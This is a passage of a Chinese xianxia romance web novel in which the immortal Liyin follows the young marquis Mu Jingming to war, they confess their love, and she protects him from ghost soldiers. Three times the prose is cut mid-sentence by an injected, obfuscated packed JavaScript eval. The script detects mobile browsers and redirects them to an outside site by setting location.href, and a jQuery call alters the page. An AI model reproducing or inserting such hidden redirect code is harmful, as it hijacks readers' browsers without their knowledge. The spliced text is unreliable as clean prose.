过了很久,久到慕璟明也快要陷入昏沉梦乡,才又模模糊糊地听到她嗫嚅着说:“你不要喜欢我,也不要讨厌我,以后你就像……就像对待童墨那样对我,好不好?” 慕璟明默然。 这一夜的晚风,雪地,未曾燃尽的烛火……谁也没有听到他的回答。 * 第二天上午,璃音十分困惑地在自己床上醒了过来。 她很清楚自己醉酒后的德行,所以早早就选好一枝树杈,把自己安顿好了,这会儿怎么却到了床上? 她迷茫地回想了下昨夜的情形,有那么意识偶尔清醒的一瞬,她好像看到慕璟明了。 不对不对,她用力摇头,那都是酒后醉眼看到的虚影,她分明一直牢牢抱着一枝树杈,挂得很安稳,哪来的什么慕璟明。 慕璟明都已经一个月不和她说话了,他骄傲得要命,宁可当她死了,也绝不肯低头,来当她心里的第二等人的。 她推开房门,院子里不见慕璟明的人影。 问过童墨,才知道近日东海战事吃紧,宫里不知收到了什么战报,慕小侯爷一早就被陛下急匆匆地召进宫里去了。 璃音抬头一望,看到太阳已经爬得老高,只是被浓厚的阴云遮着,叫光线有些透不出来。 看样子,似乎又要下雪了。 她回到屋里,对着妆镜坐下,抬手抚过自己光洁的额头,虽然才是十一月,她却已经在担忧明年二月二,会准时在这里冒出来的一对龙角了。 这种东西,绝不能被这里的凡人看到。 她也绝不能在这种凡人聚集的地方龙化。 幸运的是玉横不在,她不必担心在那时遭到反噬,但万一她一直以来都想错了呢。 万一她失去神智,根本不是受到玉横侵扰,而只是她自己定力不足,走火入魔了呢? 如今慕璟明也只是一介凡人,帮不了她什么。 父母病了、回家探亲……无论什么理由,她都得赶紧想个借口,在二月份的时候,从武宁侯府中脱身几天,找个深山洞穴,将自己锁起来。 东海看来出了很要紧的事,慕璟明一大早就被唤进宫去,竟直到夜深了才回来。 一进侯府,他先去拜过了楚夫人,然后院子里就呼啦啦地涌进来一大帮人,全都身披甲胄,跟前忙后地开始给他整点行装。 璃音看他往腰间佩了破军,又去马棚牵出了他精养的一匹枣红骏马,心里已大概猜到他要到什么地方去了。 这本也是他生在侯府的宿命。 但璃音终究还是放心不下,她当然不是拒绝让他出征,而是一想到他在那样刀剑无眼的地方厮杀,而她却只能在这方小院里枯坐着,终日苦等他的消息,她就心里刺挠得难受。 她做不到,她根本不可能做得到。 所以明明知道慕璟明懒得再搭理自己,她还是在那匹枣红大马撒开蹄子狂奔之前,先奔去了慕璟明跟前。 此时三更月冷,天已凉透,拦在眼前的少女却不知道冷似的,仍旧穿一身薄薄的青色纱裙,看得慕璟明微皱了皱眉。 璃音却只当他真是讨厌透了自己,才一见到她,眉头自发就皱起来了。 她颇受打击地抿了抿唇,但拦住马上少年的姿势却一点没有退让。 “要去东海?”她抬头,去与骑在高头大马上的少年对望。 慕璟明无声地垂目看了她半晌,就在璃音以为他这辈子都不会再向自己开口的时候,他却忽然轻轻颔首,道:“嗯。” 虽然只是一个“嗯”,但也算是和她说话了。 璃音眼睛亮了一亮,又道:“去打仗?” “嗯。”他的回答仍然只有这个字。 “我要和你一起去。” 马背上的人微怔 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她怎么忘了,慕璟明一直把她当敌人派来的卧底,他自己可以为了心里那一点阴暗的期盼,置生死于度外,舍着性命来陪她玩闹,但他绝不会拿千万将士的性命开玩笑。 所以此刻,慕璟明怎么可能会答允她随军而行呢? 她若不管不顾地跟去,岂不是还要叫慕璟明日日分心来猜她防她,下了战场也不得安生。 那可不是她想要的。 璃音垂眼。 “我跟着去,好像是不大合适。”她复又抬眸,眼底的低落已被她压了下去,向马背上的少年扯出一个抱歉的笑来,“出来说了这些蠢话,叫小侯爷见笑了,小侯爷请快动身吧,我就不再继续耽误大家的行程了。” 说罢便即转身,提步回府。 其实她心里已做好了另一套盘算,不能光明正大地跟,难道她不会偷偷摸摸地跟? 只等慕璟明骑马奔出这条街,她就隐了身形跟上,去东海而已,有什么难的,正好她好能打探打探那把神弓的下落。 却不想刚装模作样走出两步,就听得背后马蹄声响,接着一只胳膊有力地环上她的腰间,将她一把捞去了马背上。 “你可以跟着,但第一,你的身上需时刻佩戴响铃,第二,没有我的允许,不许在军营里随意走动,第三,不得接触任何士兵们要入口的东西。若有异议,现在就下马。” “没有,一点异议也没有!”璃音伸出胳膊,环住他劲瘦的腰身,笑意怎么藏也藏不住。 慕璟明身子僵了一僵,随即就又冷着一张脸去掰腰上的手:“没有异议也给我下马,自己去后面跟着。” “哦。” 璃音乖乖松手,利落地跳下马背,转身才走出半步,又回过头来,晚风将她的发丝拂动在夜色里,扬起在她那张灿然的笑脸之后。 “小七,你今天和我说了好多句话,我好开心。” 说完这句,她笑着转身跑开,没有去看少年隐在夜幕下的表情。 愿意和她说话,那就代表他原谅她之前的无礼了,虽然慕璟明不再喜欢她了,可也没有讨厌她。 再没有比这更好的事了。 璃音跑在雪地清夜中,这么愉快地想着。 73. 第72章 武宁侯 东海情势危急,慕璟明半夜里带着兵马,未作仪式,无人饯行,就这么悄悄开拔上路了。 这支军队是赶着要去支援武宁侯的,大家不敢稍怠,一天只开一次伙,日夜兼程地赶路,走到第七天上,几乎人人脸上都瘦黄了一大圈。 除了…… 叮铃——叮铃—— 铃铛不停相撞,撞出一片清凌凌的脆响。 一个正埋头赶路的小兵循声抬眼一望,就见一个少女身披天青色厚斗篷,双颊水润,步履轻盈,容光焕发地从双腿沉重而麻木的自己身边“飞”了过去。 那少女也不是真的在飞,只是她步子灵快,落脚又轻,像一只轻巧蹁跹的萤蝶,只脚踝上一串精致的响铃提醒着周遭的人们,她正从他们身边经过。 小兵看着她这样走过,时常有一种错觉,若不是为了迁就他们这帮凡人,这萤蝶一般的姑娘现在早已飞到东海了。 璃音其实是不怕冷的,但鉴于身上这件斗篷是慕璟明阴沉着脸扔给她的,她也就欢欢喜喜地披上了。 毕竟大冬天里只穿一件单薄的纱裙,在这凡人堆里确实不妥。 而她之所以欢喜,是因为慕璟明把斗篷扔给她之后,她就扒拉着小侯爷的衣襟仔细检查了一番,看他有乖乖穿着她给缝了阵法的里衣,心里就满意得不得了。 也不能怪她这般谨慎,在大军开拔的第一天夜里,军队就遭到了一场除了她以外,谁也没能瞧见的突袭。 来袭的阴灵各个手执钢叉,黑雾裹面,乃是真正的阴兵。 璃音恍然记起,在这个年份里,不仅人间战乱纷扰,九重天上更是正在进行着一场惨酷无伦的神魔大战。 那晚想来是偶有阴兵借道人间,嗅到慕璟明身上的神格气息,便发了疯一般冲上去砍杀。 好在慕璟明的每一件里衣都被她早早地缝上了阵法,那滋滋滋的阴灵溃散之声响了整整一夜,直到太阳出来,那帮阴鬼才终于缩着脖子逃窜开了。 结果这个慕璟明,第二天就凶巴巴地过来给她下了死令,不许她离他超过十丈远,还要给她脚腕戴上铃铛,让他能随时知道她的动静。 璃音心里哼哼:要不是我,你这小侯爷恐怕还没到东海的战场,就死了好几轮了。 不过看在他穿衣服还算乖的份上,心里的满意到底压过了憋屈,璃音大度地拍拍身上的斗篷,决定不与他计较。 行军艰苦,但璃音这一路却行得十分愉悦,途中她甚至经过了这时还不被称作望州的望州,她手搭凉棚,眺望到那一座耸入云霄的伏龙山,就知道猰貐神尊在此时便已伏诛,化作远山连绵的那一片龙骨山脉了。 就在不久之前,摇光神君还载着她在这片熟悉的山脉间御剑飞行,恭声喊她“老师”,面上一片乖巧。 而现在…… “发什么呆,过来。” 她不过停步远眺了一会儿,就被慕璟明察觉到身后的铃铛声停了。 慕小侯爷立刻勒了马,转身对她冷着脸呼喝。 哼,又是这么凶巴巴的,一点也不可爱。 璃音撇撇嘴,还是认命地跟了上去。 但她在慕璟明这里受的这些欺负,等她回去了,一定要好好地向神君讨要回来的! 又风雪不停地行了大半个月,援军总算按时抵达东海之滨,解了武宁侯一场燃眉之困。 打了一个大胜仗,军营里当晚就载歌载舞地庆祝起来,也算给新来的将士们一个迟来的接风宴。 璃音向来不喜欢这种酒肉吵嚷的场合,但武宁侯要给儿子接风,慕璟明不得不出席,而她又被勒令不得离开慕小侯爷十丈之外,于是她也不得不在席上了。 她迎着武宁侯鹰隼般锐利而探究的视线,被慕璟明强摁着肩膀,不得不坐去了慕小侯爷的旁边。 不过两盏茶的功夫,她就开始如坐针毡,如芒刺背,她憋了又憋,忍了又忍,终于还是憋不住起身要走。 非是她矫情,而是此时一舞献罢,席上的每个男人都已经搂了一个舞姬在怀,刚从生死场上下来的男人们做什么都豪气万千,谈吐豪气,干酒豪气,就连在女人身上摸来摸去的手都是那么露骨豪气。 全场唯二正襟危坐的人,大概就只有她和慕璟明了。 就连武宁侯,腿上也坐上了他在军营里纳的不知多少房小妾,那美人粉腮含嗔,小腹微隆,里面不知道正怀着武宁侯的第几个孩子。 璃音深吸一口气,却只觉此处空气格外污浊,她实是一刻也待不下去了。 但在她霍然起身,要丢下一句“小侯爷,您慢用,我先走了”转身就溜的时候,却感觉手被身边那人拉住了。 慕璟明并没有很用力地拉她拽她,只是将手轻轻地握了上来。 璃音有些讶然地侧身,她垂下眸去,见他仍是端坐着,双目平静地望视着前方,但要说他具体在看着什么,或是盯向哪里,却又说不出来。 他的眸光空洞而散乱,仿佛全身的意识都已经抽离,只残留了一点神识碎片在那只轻柔却倔强地牵着自己的手上,像一句并不是无声,只是声音不小心逸散在了夜色中的挽留。 但璃音还是听见了。 她要挣脱慕璟明的手很容易,但终究还是轻叹一声,把那句到了嘴边的“小侯爷,您慢用,我先走了”默默咽进肚子里,踢一踢腿,嘟哝了一句:“腿麻了,站一站。” 便又坐下。 真拿他这种眼神一点办法也没有。 但是…… 璃音轻眯了眯眼,这种被需要的感觉,她还挺受用的。 这时温香软玉在怀的武宁侯向着这边开口了,他指一指对面席上两个年轻的陌生面孔,爽声笑道:“璟礼,璟桓,过去给你们璟明哥哥敬一杯酒。” 感觉到慕璟明握在自己手上的五指微僵,璃音偏头一看他茫然空洞的眼神,就知道这两个面孔不仅是她看着陌生,就连慕璟明,恐怕也是不认得的。 自己的父亲,不声不响在边关又给自己生了两个弟弟,还已经长得这么大了,任谁一时都有些接受不了。 这个武宁侯,当真……当真是…… 看在慕璟明的面子上,璃音真不愿拿太难听的词来形容他,但这个侯爷在广睡女人和撒种繁殖这两件事上,委实有着几十年如一日的执着。 慕璟明已经是他第七个孩子,在边关又不知何时偷偷摸摸养了两个,楚夫人肚子里正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019866|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀着一个,这边小妾看起来又有五六个月的身孕了。 这男人,不是种马是什么?! 他或许是个好将领,但绝不是一个好丈夫、好父亲。 璃音有些厌恶地皱了皱眉,就见案前两个十三四岁的少年端了酒盏站定,用他们那个年纪特有的粗嘎嗓音齐声道:“弟弟来敬璟明哥哥。” 慕璟明默然抬眸,他颇觉荒诞地看向眼前这两个从未见过的弟弟,没有作声,也没有动作,更完全没有要去端起案上杯盏的意思。 两个弟弟有些尴尬地对望一眼,便纷纷把求助的目光投向了父亲。 但这两人小眼神璃音看得真切,与其说是求助,不如说是在告状,在告这个无礼的、敢不听父亲的话的哥哥的状。 武宁侯见状,脸上不动声色,眼中却极快地掠过一丝不悦。 只听呼的一声风响,一团银黑色的虚影就往慕璟明身上砸了过来,璃音眼疾手快,却不想这一次慕璟明出手更快,抬手就将武宁侯砸来的一只酒盏稳稳拦握在了手心。 他轻轻将酒杯放去桌案上,松开握着璃音的那一只手,起身向着武宁侯的方向躬身一拜,恭恭敬敬地道:“父亲,儿子不宜饮酒,先退下了。” 然后将脱下的披挂搭在臂弯里,不再去看众人面面相觑的神色,也不去理会武宁侯面上渐渐烧起来的怒火,就转身离了席。 唯一留下的理由都没了,璃音便也拍拍裙子站起,迅速逃离了这方每一个人的每一个眼神里都藏着八百个心眼子的社交场。 她回到慕璟明的营帐,见里面有他脱下的铠甲、披挂,甚至佩剑,却独独不见慕璟明的人,问过守帐的士兵,也都说不知道慕小侯爷去了哪里。 好个慕璟明,要她不许离开他十丈之外,自己却溜得没影了。 璃音气得狠狠戳了桌上的破军一下。 戳完之后确是一怔,她在帐中看了一圈,他脱了护甲,没有带破军,惯常藏在靴子里的匕首此刻也被丢在桌上,还有隐缠在腰中的那柄软剑,也正在护甲边上软趴趴地垂挂着。 璃音心中一紧,连呼吸都有一瞬的凝滞。 她抓起破军,几乎是飞奔出了帐外,足腕间急促的叮铃之声狂响,她迎着海边小镇咸湿的夜风狂奔,一边飞跑,一边急声道:“破军!快!快感应你的主人在哪里!” 可破军只如死物一般,不给她一丁点的回应。 神剑固然有灵,可下凡有下凡的规矩,况且它也不是谁的话都听的。 她此时心跳狂乱,脸上糊了好几根被风吹上来的发丝,她也顾不上拨开,她停下身,随着胸膛急促起伏而呼出的气息滚热,在寒夜里散作一团团缭乱的白雾。 慕璟明今晚很明显陷入了某种情绪,再没有人比璃音更清楚这种情绪的危险。 若不尽快找到慕璟明,他会死的。 真的会死的。 再无暇顾及自己是不是还身处在凡人堆里,璃音阖了阖眼,努力平稳下自己的心绪,再睁眼时,红芒已在她眼底染成一片。 兰花印闪动着青光,轻叩上了额心。 庞大的灵力以她为中心,如无声的飓风,席卷着向四面八方奔泄而去。 74. 第73章 还不够 远星寂冷,水夜清寒。 今日得了大胜的军营之中,却是一派鼓乐笙歌的热闹景象。 就连吹进营中的晚风都被喧嚷的人声熏得浊热,却又在某个瞬间蓦地被一股冷意攫住。 所有人都在这欢歌鼓乐声中无知无觉地静默一息。 在这一息的时间里,天地清阒,万物寂然,连最轻微的呼吸之声都被隐去。 只一息之后,营内便又欢声大作,众人喝酒吃肉,一切如常。 他们谁也没有察觉到,就在方才,自己门窗紧闭的灵台被一个急着寻人的少女慌慌忙忙叩开一个门缝,那少女张眼往里囫囵瞧了一瞬,便又急匆匆地掩门退开。 过多的画面一齐向璃音识海中涌来,她并不过分窥探和记忆其间的内容,只迅速筛选着含有那一抹熟悉身影的零碎场景,像在茫茫碎纸中拼凑一幅被剪乱顺序的连环画,借助千万人的眼睛和记忆,只为拼凑出那一人今晚的去向。 她先是借帐前守兵的双眼,看到慕璟明走出了他的军帐,再从巡卫那里看他一路长身落寞,在清冷星辉里快步走着,走着,走过所有喧腾的热闹,走入夜晚迷瘴丛生的一大片密林中。 璃音垂下手印,闪身入林,再一次拔足飞奔。 她看见他了。 慕璟明其实走得漫无目的,他也不知道自己为什么要一直走,又究竟要走去哪里。 这片林子一入夜就瘴气弥漫,是屿国哨探最爱藏身的地方,将领的常识不断提醒着他,他不该只身一人走在这里,但体内偏又有另一股力量,推着他不停步地向前疾走,让他只想走远一点,再远一点…… 但最终,他还是停身在了一株高可参天的大树下,那树不知是什么品种,也不知在这里默默生长了多少年,只见它树身粗壮,足可让五人合抱,虬实的枝杈张牙舞爪地静散在夜色之中,任稀稀落落的黄叶瑟寒冷风吹得要坠不坠、沙沙乱响,它只静默伫立,岿然不动。 也许是风的温度太过相似,慕璟明想起了那日卯了劲要赖在树上的少女。 树上究竟有什么好? 这么想着,他已足尖一点,提身跃上。 他寻了一根枝杈躺下。 透过稀疏的枝丫与黄叶,入眼是星穹浮光,银辉一点。 耳旁有利刃破空疾啸之声,他轻拢五指,似乎想要抓住什么,却只徒然抓握到了一把湿冷的空气。 他在冷箭袭至寸前时,轻轻阖上了眼。 啪嗒—— 金石相击的钝响。 远处传来一声男人被什么东西击中的闷哼,而后便是倒地之声。 接着是少女清凌凌却略带责怪的嗓音闯入耳中:“说好了不能离开十丈之外,慕小侯爷,你这样,让我很为难的。” 慕璟明蓦然睁眼。 他缓直了身子,无声望向树下那个正愤愤然把破军长剑插进泥地里的少女。 “不下来吗?那你让一让,我要上去了。” 少女轻飘飘跃身而上,紧挨着他坐下,整个人轻盈得仿佛没有重量。 她坐上来后没有别的动作,也不说话,只轻晃着两个脚丫,仰头用目光去追天上的星星。 “谁叫你来的。”慕璟明看她半晌,终是先开了口,嗓音像被冷风吹过,略显沉哑。 “不是你定的规矩么,我是不能离开你十丈之外的。”少女仍是仰颈望着夜幕上浮动的那些星点,好似全然没有感受到身边人的视线,“你走这么远,回头却要来罚我怎么办,我只好来找你了。” “我不罚你,你走吧。” “我不走。” 少女侧眸,倏地欺身而上,将少年人的背脊抵上后面粗大的树干。 璃音伸出三根手指去慕璟明眼皮底下晃了晃,道:“你也不许走,今晚我陪你在那种席上坐了整整三刻钟,你得一刻不少地还我……” 尾音尚未落下,唇上已被少年烙下一个灼烫的轻吻。 璃音微微怔了一怔。 但她这一次没有伸手去推他,也没有偏头躲开,只是眨了眨眼,捕捉到慕璟明那双沉黑如墨的眸,追着他在微乱呼吸中撤走的唇瓣,轻轻在上面啄了一啄。 慕璟明眸色倏然加深,抬手抵上眼前人氲起薄红的面颊:“童墨可不会对我这样。” 璃音歪头不解,又和童墨有什么关系? 但看慕小侯爷微挑的眉梢,亮如远星的双眸,璃音无声地弯了弯眉眼,双手环上他修长的颈间,轻声笑问:“高兴了?” “还不够。” 细密的吻如疾风骤雨般落下,颊上的手掌不容抗拒地扣去她脑后,要她躲无可躲,只好将他灼人的热情悉数承受。 但璃音根本就没有想过要躲。 她双臂环搂在慕璟明颈侧,轻柔地给着他回应。 唇齿交缠,发丝被沁凉的夜风吹动,萦出一点冷香,天上不知何时飘起了雪。 慕璟明直吻得璃音快要喘不过气,才终于肯稍稍退开。 额心相抵间,少女挽在他脖颈上的一只手轻抬,缓掠过他沾染上了红尘欲色的清亮眉眼。 璃音喜欢看他对自己这样情动。 就好像,在天边悬了千年万年的一颗清冷孤星,被她摘来了人间。 她心动得厉害,此刻,什么历史的不允,什么时空的悖论,都再压不住这一瞬的心动,于是她含着比冰雪还要晶莹动人的笑意向他告白:“小七,你喜欢我的样子好漂亮,我好喜欢。” 被少女说出口的喜欢是那样纯净,又那样直白,清灵得胜过此时悄落在她唇上的那一瓣雪。 慕璟明只觉那一片轻雪仿佛是落在他滚热的血管里,丝丝缕缕的一点凉意,却把他一颗心勾得愈加滚烫。 少女又埋首进他的颈窝,轻声:“以后也一直这样喜欢我好不好?我会对你好的,比所有人对你都好,比童墨对你还好……可我……我不是你想象中的那种好人,我好怕你以后会失望,会后悔……” 慕璟明捞出那张靠在自己肩头的小脸,看她被他吻得水亮的眸,低声含笑:“我什么时候说过你是好人了?” 少女轻怔,待看懂他眼底的戏谑,气得探头去他脖子上咬了一口。 “慕璟明,我再说最后一次,我不是敌国派来的奸细,也不是来杀你的,你爱信不信。” “我知道。”慕璟明将身前少女更深地扣入怀中,满足地闻着她发间散发出的熟悉冷香,“阿璃是天上的神仙派来的。” 她究竟因何出现在他的身边,为什么刀枪不入,为什么可以治愈萧夫人多年被阴魂缠身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028086|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落下的顽疾,她今晚又是怎么找到他的……她身上有太多太多的疑点。 但这些都不重要了。 重要的是她来找他了。 只有她会来找他。 细作,刺客,或是别的什么,关于她的身份,她不想说,他便不再去深究。 ——“是天上的神仙派我来的呀。” 就当她那天给他的回答是真的吧。 他也越来越觉得她说的就是真的了,否则他现在何以会如此欢愉。 虽然他不知道当神仙是怎样的一种欢愉,但只觉无论如何也不可能比得过此刻。 他伸手去将少女的两只手都握入掌心,感觉终于有什么东西在心里那一片无尽的荒芜地里生了根。 “阿璃……” 他倾身,寻着她早被吻得嫣红的唇瓣,啄去上面那些微凉的雪花,然后再一次缱绻覆压了上去。 长夜谧雪,星辉皎澈。枝杈冷肃默展,黄叶却被风摇响,沙沙之声响个不停。 斜插在树下的寒剑微凛,在昏暗暮色中似一柄倒悬星河,极快地闪过一瞬蓝白色的冷光。 * 自那一晚开始,璃音感觉慕璟明简直就跟粘在了她身上似的。 倒不是他会缠着她说多么黏糊的甜蜜絮语,而是慕小侯爷走到哪里,手就要牵到哪里。 璃音实在搞不懂他对牵手的这份执着从何而来,看书每看一会儿就要牵,吃饭吃着吃着也要牵,睡觉更是要牵,除了…… “小侯爷你这是侮辱谁呢,谁稀罕去听你们的什么情报。” 璃音举起被慕璟明绑住的手腕,哼声控诉。 嘴上虽这么说着,却还是乖乖让慕璟明把自己捆了手脚。 以为这种东西就能困住她的慕璟明,嗯,也蛮可爱的。 罢了,就给他一个安心。 “我的命可以给你,酆朝将士们的可不行。” 慕璟明毫不客气地往她足腕上又缠了一圈麻绳,嘴上语气却轻柔地可以溺死人:“乖,一会儿就好,我尽量让他们说得快些。” “变态。” 璃音撇嘴损他,但其实就喜欢看他这副就事论事的冷酷样子。 慕璟明将绳捆死,起身去勾抬她的下巴:“晚上你也可以把我绑起来。” 说罢,偏头在她微热的颊上印下一个吻,又给了她一个恣肆澈亮的笑意,才转身去了武宁侯的主帐议事。 璃音看他神姿飞扬的背影,也不禁弯了弯唇。 原来喜欢一个人,根本不需要反复确认。 原来喜欢就是喜欢,不是终日担心自己付出比对方少了的愧疚,不是不敢辜负的负担,而是……时刻想要看他开心。 看到他笑,就会无需缘由地跟着一起扬动唇角。 “小七。”晚上她没有绑慕璟明,而是在他覆手过来的时候,捏一捏他的掌心,开心地与他分享今日这个不算新的发现,“喜欢你。” 回应她的,是慕璟明覆身而来,往她唇齿间送入一个动情而绵长的吻。 可是……还不够。 翻身而上,璃音用指腹轻滑过他远山锋冷的眉骨,和下面那处沾染了秾艳靡红的眼尾,满意地在那里点了点,最后在他樱瓣般的唇上停下,将细密的吻覆了下去。 75. 第74章 芋郎君 冬至这天又下起了雪。 阴风连日,满地盖霜,连太阳都驱不散空气中的湿冷,在这样的天气里,战事也暂时消停了下来。 军营中在秋季时采收了一些芋头,这会儿再存不住了,再放下去只怕要冻伤,于是厨子们烧开大锅,把一个个白芋煮得清甜软弹,给众士兵好好加了顿餐。 这种入口化甜的东西,慕璟明自然是不吃的。 璃音看着那白胖的芋头,忽然想起她还是凡人时,京城民间的一种吃食,一时很是怀念。 于是拔出一把匕首,对着那芋头好一阵雕镂刻划,央厨子帮忙抟成酥,又再雕了半天,雕出一个人形的芋头酥来,也不吃,就先兴冲冲地捧去了慕璟明跟前。 芋头小人有鼻有眼,有手有脚,袍带飘逸,佩剑清铮。 慕璟明一见这东西,眉梢就玩味地挑了起来:“这是什么?” “在我家乡,这个叫作芋郎君。”璃音一看就知道他这是高兴了,用手指戳戳那芋头小人的脸蛋,也笑得开心,“看我把你雕得像不像?” 顿了顿,转头又向慕璟明道:“不过这个可不是做给你吃的,是给我自己吃的,我就拿来给你看看。” 他不爱吃这些甜点,她都记得。 “嗯,很像。”慕璟明轻笑着抬手,替她拂掉发尾沾上的一点面粉。 确实很像。 只是…… 银冠少年的视线不自觉落在了芋郎君那飞扬的发带上面。 他何时系过发带么? 细微的困惑在脑中一闪而过,就见方才还兴致勃勃的少女突然塌了肩膀,双手有些苦恼地捧上了腮:“怎么办,不舍得吃掉了……” “那就不吃。” “可是又有点想吃。” 慕璟明看少女眼也不眨地盯着芋郎君看,一脸难以割舍的样子,心里就升起一种难言的不满,他伸手掰过她的下巴,眸色深了下去:“我还不够你看的么?” 被迫转过目光与慕璟明对视的璃音:“……” 一个芋头的醋也要吃? 甚至那芋头雕的还是他本人。 不过她最终还是没有吃掉芋郎君,而是把芋郎君的本尊慕郎君啃着吃了个遍。 晚上等慕璟明呼吸轻匀,显是睡着了,璃音小心抽出被他握在掌心的手,轻手轻脚地翻身下床,用布条塞了足腕间的响铃,隐去身形,静悄悄出了营帐。 如今两方暂时休战,陆战海战都休了,气候也不宜行船,是她去探查东海的最好时机。 没有太阳的时候,海水看起来是一片透明的黑色,是漫无边际的阴郁沉阔。 此时海面穆静,风只是缓缓推着海浪,偶尔往岸上溢出一点,却并不能让人感到真正的宁定,越是平静的海面,下面越是奔藏着吃人的暗流。 迎着腥咸的海风极目远眺,万顷浩渺之中,璃音看见了几座浮山似的岛屿,那就是与酆朝打了有二十多年的屿国。 屿国是个被海水环绕的小岛之国,论兵力财力都远不及大酆,两国之间的战事之所以能僵持二十多年,也多有这片阴晴不定的海域的功劳。 不过两国间的胜败早在九百年前就已定下,若她的记忆没有出错,那么不出三年,屿国就会被大酆攻下了。 璃音阖眸,将灵识一点点外放,却在触到极远处的某一片海域时猛地睁眼。 是她的感应出错了么。 那种东西怎么会成群结队地出现在海上? 她不可置信地睁大了眼,凌空一跃,跃至半空,俯瞰整片静黑海面,果然看见浩浩荡荡的一支船队,那船皆是无帆无舵,只挂一面骷髅战旗,通体被黑雾笼罩,正以比海风还快的速度,向着岸边疾驶而来。 那是几千只满载着阴兵的阴船。 可它们在人间做什么? 璃音知道现在的九重天上也正是战事激烈的时候,这种阴兵往人间借路的事,她在随军而来的路上也已遇上过了。但这样大的阵仗,又把战旗就这样明目张胆地亮着,根本不像是偷摸借道,倒像是气势汹汹地开战来了。 不知是不是心里的不安作祟,璃音总觉得那海风里也隐隐混入了血腥的气味,勾动她体内血液也一点点滚沸起来。 这份灼烫让她清楚地感应到,就在海底的更深更远处,还潜藏盘踞着一个更大更凶的怪物。 那会是什么? 她本能地感觉到危险,当即回身落地,闭目凝神,专心压□□内翻江倒海般的凶戾躁动。 直到心神彻底宁定下来,她缓缓掀开眼皮,双手却在身前迅速结印,随她双掌向横疾散,巨大的灵力自掌印中爆发而出,一道高可接天的光屏沿海岸线急速铺展开来,凡人看不见的淡淡青光流转一瞬,便隐没在了黑夜之下,静海之前。 她不管这些阴兵是来做什么的,但它们的存在对于小七而言太过危险。 所以…… 她只好请它们要么改道,要么去死。 璃音默然站立原地,静静等待体内再一次涌上的血戾之气退去。 然后才安静转身,离开了这片冷郁腥湿的海岸。 她回到帐中的时候,慕璟明却没有在睡觉,而是披了衣服,闲闲地倚坐在床上。 见璃音落了一身雪地回来,慕璟明抬眸静望了她片刻,没有问她去了哪里,也没有任何的盘问,只是向她伸出手,难掩困倦地笑了:“回来了?” 看他眼底沁红的血丝,璃音心里蓦然一紧,他这样坐着等她多久了? “怎么起来了?”璃音解下斗篷去架子上挂好,快步过去握住了他微凉的掌心,“我有点睡不着,出去走了走。” 想了想,又补了一句:“只是在海边走了走,没去别的地方。” “嗯,外面好像下雪了,冷不冷?”慕璟明轻描淡写地应着,没牵住的另一只手的指骨撩过她足腕,淡然抽出塞在里面的布条。 “不……不冷。” 璃音尴尬无声地拢了拢指骨,然而她等了半天,也没等到慕璟明任何的责问或是失望的眼神。 他看起来是真的困了,只是胡乱在她颊上亲了亲,就拉着她躺去了榻上:“睡吧。” “我没有做害你的事。”璃音有些害怕他这样的平静,侧身环抱住他的腰身,“我永远不会做害你的事的。” 她其实无意瞒骗他什么,可把那些神神鬼鬼的事情说与一个凡人听,简直比说她是敌国的细作还要不可信。 但她更不愿对他说谎,所以她只能这样,在可以的范围内,尽量对他坦诚。 慕璟明抬手轻抚她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036973|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发丝,声音比动作更轻:“我知道,睡吧。” 明明是她半夜溜出去做了鬼祟的事,却反而是慕璟明在安抚她似的。 璃音在他一下下的轻抚中赧然阖眼,然而才闭上一瞬,眼皮便倏地弹开。 她猛然起身,五指向前疾出收拢,迅如闪电地掐断了一个阴鬼的脖颈。 黑雾随魂魄消散,璃音却呼吸微促起来。 武宁侯府,行军路中,还有那渺阔海面之上的满船阴鬼…… 现在甚至追到了军帐之中。 一次可以说是巧合,但如此数次三番,目标明确,璃音现在几乎可以肯定,那满船的阴鬼,就是冲着慕璟明来的了。 一个可怕的设想从她心底爬了出来。 它们盯上慕璟明了。 或者该说,它们一早就盯上摇光落在凡尘的这一抹神魂了。 此刻九重天上的那场神魔大战,神兵一开始之所以会连连溃败,就是因为少了这位锋锐难当、冷面生杀的神君。 但摇光的缺席只是暂时的。 如果那位魔尊足够聪明,就一定会想方设法,抓住摇光神格被封在凡人体内的这一段时间,在这位神君归位之前,将他彻彻底底地除去。 所有这些念头只在转瞬间便在璃音脑子里过了一遍,心中的不安还没来得及扩张,就听到慕璟明带着困顿鼻音的轻问:“怎么了?” “没事,打了一只蚊子。”她重新侧身躺下,蹭进他的怀里。 然后就听见头顶传来他的轻笑:“现在是冬天。” 她帮他赶走恶灵,他竟还取笑她! 璃音轻哼着在他胳膊上拧了一下:“反正是坏虫子,毒虫子,被叮一下是要死的。” 